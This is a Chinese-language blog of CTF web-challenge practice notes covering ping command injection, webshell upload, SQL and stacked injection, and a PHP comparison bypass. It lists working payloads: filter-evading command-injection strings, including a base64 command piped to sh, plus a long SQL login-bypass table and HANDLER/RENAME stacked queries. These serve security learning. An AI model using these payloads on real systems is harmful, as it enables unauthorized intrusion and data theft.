LOADING

加载过慢请开启缓存 浏览器默认开启

做题笔记

2022/10/2

WEB

[ACTF2020 新生赛]Exec

一进去看到是 ping 的命令执行,查一下,发现可以直接==127.0.0.1;ls /出来(ls /是看根目录)

然后直接 cat /flag 就出来了,甚至不用绕过
查资料的时候还看到有别的绕过方法

https://blog.csdn.net/qq_45414878/article/details/109557567
https://blog.csdn.net/Hardworking666/article/details/120739082

[GXYCTF2019]Ping Ping Ping


开局长这样,是 ping 的命令执行,这次得再 url 后面加?ip=127.0.0.1 什么的
试试?ip=127.0.0.1;ls

换个方法?ip=127.0.0.1;ls / 咋还骂人呢
所以现在我们要拿到 flag.php,但是直接拿肯定不行,要绕过
试了半天,发现他直接过滤了“/”,一堆代替 cat 的命令什么 tac more soft 也不能用,通配符也不行。。
好的其实是空格被绕过了,用上面链接的那些来试一试

{cat,flag.php}
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

到第三个的时候弄成 cat${IFS}ls(`号被弄掉了),出来这个
直接f12出flag
这个的原理是这样
当然还有别的解法(也要f12进去看) https://blog.csdn.net/m0_62422842/article/details/124616206
这里就只有 ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php和echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 可以

[极客大挑战 2019]Upload

题目长这样,一看是文件上传
上传抓包
然后上传成功用蚁剑连接,在根目录找到 flag,这里还有一些很有意思的绕过方法

后缀还可以用 php,php3,php4,php5,phtml.pht;大小写绕过;空格绕过;重复写绕过
https://blog.csdn.net/qq_29977871/article/details/126277485

[极客大挑战 2019]EasySQL

打开来是这样,是 sql 注入的题目

随便输一个发现不行
输一个 a’出来这个
发现是报错了,判断结果语句应该为单引号闭合
直接用万能密码 1’ or ‘1’=’1’#

这是一个万能密码表
‘ or 1=’1
‘or’=’or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=’1’–
admin888
“or “a”=”a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=’2
‘)or(‘a’=’a
or 4=4–
c
a’or’ 4=4–
“or 4=4–
‘or’a’=’a
“or”=”a’=’a
‘or’’=’
‘or’=’or’
1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 4=4
‘OR 4=4%00
“or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17..admin’ or ‘a’=’a 密码随便
‘or’=’or’
‘or 4=4/_
something
‘ OR ‘1’=’1
1’or’1’=’1
admin’ OR 4=4/_
1’or’1’=’1
还有原理

[强网杯 2019]随便注

开局 f12 出来一个这个注释,说明还是 sql 注入

用 1’(‘要是英文的)报错了
用然后源码这样说

这些是过滤了的,所以考虑堆叠注入:1’;show databases;#(其实第二个;后面啥都没有也可以,也可以用–a)
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

然后要进去得 flag,先看看表:0’;show tables; – a,发现有个“1919810931114514”表

现在就要查看表中的列:0’;show columns from1919810931114514; – a

看到了 flag,于是直接获得数据就好了:0’;handler 1919810931114514 open;handler1919810931114514read first; – a(表名如果是数字,则需要使用反引号包裹起来)(这里只能打开这个然后再读第一个,因为这个应该是只有一个文件的)
*还有办法二:
用这个:1’;RENAME TABLEwordsTOwords1;RENAME TABLE1919810931114514TOwords;ALTER TABLEwordsCHANGEflagidVARCHAR(100) ;show columns from words;#

返回这些
(为啥我不行?)
当然还有方法,看看这个大佬的 wphttps://blog.csdn.net/qq_44657899/article/details/103239145

[SUCTF 2019]EasySQL

打开来是 sql
1 1; 1’ 1’ or ‘1’=’1’#都不行
直接 1‘;show databases;#和 1’;show tables;#看看数据库和表

发现有 flag 表,试试 1;show columns from Flag;#,发现不行
咱们说只能看看别人的 wp,看到两个

*,1
1;set sql_mode=pipes_as_concat;select 1

这是解释https://blog.csdn.net/StevenOnesir/article/details/110203051?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-110203051-blog-124370087.t5_download_comparev1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-110203051-blog-124370087.t5_download_comparev1&utm_relevant_index=1

*看这个的时候还看到有整数注入的教学
https://blog.csdn.net/noob_3000/article/details/126206610
https://blog.csdn.net/qq_54537919/article/details/125933691

[极客大挑战 2019]Http


这个页面,直接蚁剑连就好了

[极客大挑战 2019]BuyFlag

上去是这个界面啊
点进去 payflag 里面提示

在源码里找到

~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

首先 cookie 里的 user 改成 1
然后绕过 is_numeric,可以 POST:404a,404%00,404%20,404’
最后说 money 太长,用科学计数法 10e10 或者 strcmp 函数特性 money[]=100000000